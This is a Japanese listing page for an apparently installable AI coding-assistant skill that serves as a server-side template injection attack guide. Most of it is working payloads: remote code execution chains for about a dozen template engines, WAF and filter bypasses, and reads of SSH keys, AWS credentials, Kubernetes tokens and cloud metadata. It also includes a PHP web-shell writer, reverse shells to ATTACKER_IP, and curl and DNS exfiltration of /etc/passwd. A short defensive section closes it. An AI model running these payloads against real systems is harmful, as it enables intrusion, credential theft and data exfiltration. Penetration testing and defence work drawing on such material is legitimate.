mcpField
O
offensive-ssti

offensive-ssti

github.com/snailsploitセキュリティ9.7k145 回インストール2 週間前に更新
リポジトリ

offensive-ssti について

Web アプリのサーバーサイドテンプレートインジェクションを評価する攻撃的セキュリティスキルです。エンジン特定、悪用手順、フィルター回避、安全な PoC の記録を扱います。

主な機能

  1. 01テンプレートエンジンの特定
  2. 02注入箇所のマッピング
  3. 03エンジン別の悪用手順
  4. 04フィルターと WAF の回避
  5. 05ブラインド・帯域外テスト
  6. 06安全な PoC の記録

活用シーン

  1. 01ユーザー制御のテンプレート入力のテスト
  2. 02エラーからのエンジン特定
  3. 03ファイルやデータ漏えいリスクの評価
  4. 04非破壊テストの証拠記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-ssti

インストール後、Claude Code で/offensive-sstiを入力して読み込まれたか確認します。

詳細

サーバーサイドテンプレートインジェクション(SSTI)――攻撃手法

ユーザー制御の入力がサーバーサイドテンプレート文字列に連結され、エンジンがそれをコードとして評価する場所には、どこでも SSTI が存在します。エンジンは攻撃者が提供したディレクティブを実行し、言語ランタイムへのアクセスを可能にします。また、ほぼすべてのエンジンで、ホスト言語のオブジェクトモデルを介したリモートコード実行につながります。render_template_string()、Template()、compile() などの関数にユーザーの生の入力を渡すアプリケーションでは、どこでも SSTI に遭遇する可能性があります。

CWE-1336。MITRE ATT&CK T1190。

クイックワークフロー

  1. インジェクション箇所を特定します:URL パラメーター、POST ボディ、JSON 値、パスセグメント、ヘッダー、Cookie。
  2. ポリグロットプローブとエンジン固有の算術式を注入し、評価、エラー、空の出力が発生するかを確認します。
  3. 判断ツリーのプローブ、エラーの特徴、変数の列挙を使ってエンジンを特定します(セクション 1)。
  4. サーバーサイドでの実行を確認します――クライアントサイドテンプレートインジェクション(AngularJS、Vue.js)ではないことを切り分けます。
  5. 情報漏えいへとエスカレートします:設定、環境変数、シークレット、内部パスをダンプします。
  6. エンジン固有のチェーンでコード実行を達成します。ブロックされた場合は回避手法を適用します(セクション 6)。
  7. 影響を拡大するために連鎖させます:ファイル読み取り、クラウドメタデータへの SSRF、リバースシェル、内部ネットワークへのピボット。
  8. 一意のマーカーを使った非破壊の PoC を作成し、リクエスト/レスポンスの一連の流れをすべて記録します。

1. エンジンの検出とフィンガープリンティング

1.1 ポリグロットプローブ
${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)

エンジンを絞り込むプローブ:

{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)

Velocity では、#set( $x = 7 * 7 ) を注入し、その後 $x を参照します。 Thymeleaf/SpEL では、T(java.lang.Math).PI を含むドル波括弧式を注入します。 Mako では、self.module.__name__ を含むドル波括弧式を注入します。

1.2 判断ツリー
{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor
1.3 エラーの特徴
特徴エンジン
jinja2.exceptions.UndefinedErrorJinja2
Twig\Error\SyntaxErrorTwig
freemarker.core.ParseExceptionFreemarker
org.apache.velocity.exceptionVelocity
com.mitchellbosecke.pebble.errorPebble
SmartyCompilerExceptionSmarty
mako.exceptions.SyntaxExceptionMako
Handlebars の文脈を伴う Parse errorHandlebars
ERB のパスを伴う SyntaxErrorERB
org.thymeleaf.exceptions.TemplateProcessingThymeleaf
.ejs パスを伴う SyntaxErrorEJS
Pug:ErrorPug
1.4 ブラインド検出

時間ベース: {{range(99999999)|join}}(Jinja2)、<%= sleep(5) %>(ERB)。 Java エンジンでは、T(java.lang.Thread).sleep(5000) を含むドル波括弧式を注入します。

OOB DNS: Burp Collaborator または interactsh を使用します。Jinja2: {{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}。 Twig:{{['nslookup UNIQUE.oastify.com']|map('system')}}。

エラーからの推測: {{7*7}} と {{7*'INVALID}} を比較します――レスポンスの挙動が異なれば、処理されていることが確認できます。


2. Jinja2/Python

悪用には、object への MRO トラバーサル、サブクラスの列挙、__globals__/__builtins__ へのアクセスを利用します。

2.1 MRO トラバーサルとサブクラスの列挙
{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses

# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
2.2 RCE チェーン
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}

# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}
2.3 ファイル操作と情報漏えい
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}    # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}}                                                                # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}}                                     # DB URI
{{request.environ}}                                                       # WSGI env

3. Twig/PHP

3.1 レガシー(Twig 1.x)――_self.env
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
3.2 モダン(Twig 2.x/3.x)――フィルターコールバック
{{'id'|filter('system')}}                  # filter() with system
{{'id'|filter('passthru')}}                # filter() with passthru
{{['id']|map('system')|join}}              # map() callback
{{['id',0]|sort('system')|join}}           # sort() callback
{{[0,'id']|reduce('system')}}              # reduce() callback
3.3 情報漏えい
{{app.request.server.all|join(',')}}       # Symfony server vars
{{dump(app)}}                              # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}}      # File read (debug mode)
{{'/etc/passwd'|file_get_contents}}        # If exposed as filter

4. Java テンプレートエンジン

4.1 Freemarker――Execute と ObjectConstructor

Execute クラスを使った RCE――<#assign> でインスタンス化し、コマンド文字列を引数とするドル波括弧式で参照します:

GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com

ProcessBuilder 用の ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
4.2 Velocity――Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
4.3 Pebble -- リフレクションチェーン
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
4.4 Thymeleaf -- 前処理による SpEL

Thymeleaf の前処理では、テンプレート解決の前に、二重アンダースコアで囲まれた式が評価されます。パス変数またはパラメーターに注入します:

GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com

ファイル読み取り:

GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com

Character 参照を使った SpEL キーワードのバイパス: T(Character).toString(105).concat(T(Character).toString(100)) は id を生成します。

Spring Bean へのアクセス:@environment.getProperty('spring.datasource.password')。


5. その他のエンジン

5.1 Smarty(PHP)
{$smarty.version}                           # Version disclosure
{php}echo shell_exec('id');{/php}           # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
5.2 Mako(Python)

Mako は、ランタイムへの完全なアクセスが可能な Python モジュールにコンパイルされます。ブロック形式:

<% import os; result = os.popen('id').read() %>

次に、ドル記号と波括弧で囲んだ式で変数を出力します。URL エンコードした 1 行形式:

GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
5.3 ERB(Ruby)
<%= system("id") %>                                     # Command exec
<%= `id` %>                                             # Backtick exec
<%= File.open('/etc/passwd').read() %>                  # File read
<%= Rails.application.credentials.secret_key_base %>    # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
5.4 Handlebars(Node.js)

設計上、ロジックを持たないため、RCE にはプロトタイプ汚染または安全でないヘルパーが必要です:

{{#with "s" as |string|}}
  {{#with "e"}}{{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}{{/with}}
{{/with}}
5.5 EJS(Node.js)
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>

outputFunctionName を介したプロトタイプ汚染:

POST /render HTTP/1.1
Content-Type: application/json

{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
5.6 Pug / Nunjucks(Node.js)

Pug:

- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x

Nunjucks:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

6. フィルターと WAF のバイパス

6.1 文字制限のバイパス(Jinja2)
# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}

# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}

# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
6.2 文字列の構築
# Tilde concatenation
{{''|attr('__cla'~'ss__')}}

# Join filter
{{''|attr(['__cla','ss__']|join)}}

# Plus in brackets
{{''['__cla'+'ss__']}}

# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

# Twig tilde
{{('sys'~'tem')('id')}}
6.3 属性アクセスの代替手段
{{obj|attr('__class__')}}                   # |attr() filter
{{obj.__getattribute__('__class__')}}       # __getattribute__
{{obj['__class__']}}                        # bracket notation
{{obj|attr('__getitem__')('key')}}          # |attr() + __getitem__
6.4 エンコードと密輸
# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}

# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}
6.5 WAF 回避手法
Parameter splitting:     ?a={{&b=7*7&c=}}
HTTP Param Pollution:    ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion:  Submit as application/json when WAF inspects form-urlencoded
Double URL encoding:     %257B%257B7*7%257D%257D
Whitespace injection:    {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection:       {{\n7*7\n}} (WAFs may not match cross-line patterns)
6.6 エンジン固有のバイパス

Freemarker -- ?new() が制限されている場合は、ObjectConstructor を使用します:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>

Thymeleaf -- T(Character).toString() の呼び出しから文字列を構築し、キーワードフィルターを回避します。


7. ブラインドエクスプロイト

7.1 時間ベース
{{range(99999999)|join}}                   # Jinja2: CPU-intensive delay

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('time').sleep(5)}}
  {% endif %}
{% endfor %}                               # Jinja2: explicit sleep
{{['sleep 5']|map('system')}}             # Twig
<%= sleep(5) %>                            # ERB

Freemarker:Execute を割り当て、"sleep 5" を指定して呼び出します。Thymeleaf:前処理ラッパー内で T(java.lang.Thread).sleep(5000) を使ったドル記号と波括弧の式を使用します。

7.2 OOB DNS コールバック
# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}

# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
{{['curl http://UNIQUE.oastify.com']|map('system')}}    # Twig
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %>   # ERB
7.3 エラーと真偽値による推測
{{config.__class__.__name__ + 1}}          # Type error leaks data in error page
{{1/0}}                                    # Division by zero with engine info

# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}

8. 連鎖エクスプロイト

8.1 SSTI から SSRF へ
# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
8.2 SSTI からファイル読み取りへ
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}}                               # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}}          # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}}                 # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}}            # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}}  # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}}                    # Process env
8.3 SSTI からリバースシェルへ

Jinja2:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

Freemarker:Execute を割り当て、bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i} を指定して呼び出します。

ERB:

<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
8.4 SSTI から権限昇格の列挙へ
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
8.5 SSTI からデータ流出へ
# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}

# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

検出/防御側の視点

攻撃の兆候:

  • 入力に含まれるテンプレート区切り文字:{{、{%、<%、#{、#set(、<#assign。
  • MRO 文字列:__class__、__mro__、__subclasses__、__globals__、__builtins__。
  • Java リフレクション:getRuntime、ProcessBuilder、forName、T(java.lang。
  • ユーザーが起点となるリクエストへの応答に含まれるテンプレートエラー。

侵害の兆候:

  • Web ワーカーから予期しない子プロセス(sh、bash、curl、nslookup)が起動される。
  • アプリプロセスによって /tmp または Web ルートに新しいファイルが作成される。
  • コールバックサービスまたは見慣れない IP アドレスへのアウトバウンド接続。
  • 169.254.169.254 に問い合わせるべきでないコンテナからのクラウドメタデータへのアクセス。

防止策:

  • ユーザー入力をテンプレート文字列に連結しないでください。テンプレート変数を使用します。
  • CI で危険な API をブロックします:render_template_string()、ユーザー入力を使った Template()、Environment.from_string()。
  • サンドボックスを有効にします:Jinja2 の SandboxedEnvironment、Freemarker の SAFER_RESOLVER。
  • Twig のフィルター/関数を安全な許可リストに制限します。
  • Smarty の {php}、EJS の compileDebug、Thymeleaf の SpEL 前処理を無効にします。
  • アプリは最小限の権限で実行し、seccomp/AppArmor と読み取り専用のルートファイルシステムを使用します。
  • 多層防御として WAF ルールを設定します(バイパス手法についてはセクション 6 を参照)。
  • CVE を追跡します:CVE-2024-22195(Jinja2 の xmlattr バイパス)、CVE-2024-46507(Yeti RCE)。

エンゲージメントのチートシート

フェーズアクションツール/手法
偵察入力の反映ポイントを特定するBurp Suite, waybackurls, qsreplace
検出ポリグロットと算術プローブを注入するffuf, Burp Intruder, 手動
フィンガープリンティング決定木/エラーを使ってエンジンを特定するエラーシグネチャ、変数プローブ
検証サーバー側での実行を確認するタイミング、ソースの検査
エクスプロイトエンジン固有の RCE チェーンを適用するtplmap, SSTImap, TInjA, 手動
バイパスWAF/フィルターを回避するセクション 6 の手法
ブラインドOOB、時間ベース、エラーベースの手法Burp Collaborator, interactsh
権限昇格ファイル読み取り、SSRF、シェル、権限昇格につなげるセクション 8 のチェーン
証明一意のマーカーを使った非破壊的な PoCDNS コールバック、一意のファイル
ツールのクイックリファレンス
# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test'              # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2    # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test'         # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id  # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell   # Interactive shell

# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test'           # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S        # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id'   # Run command

# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable

主な参考資料

コメント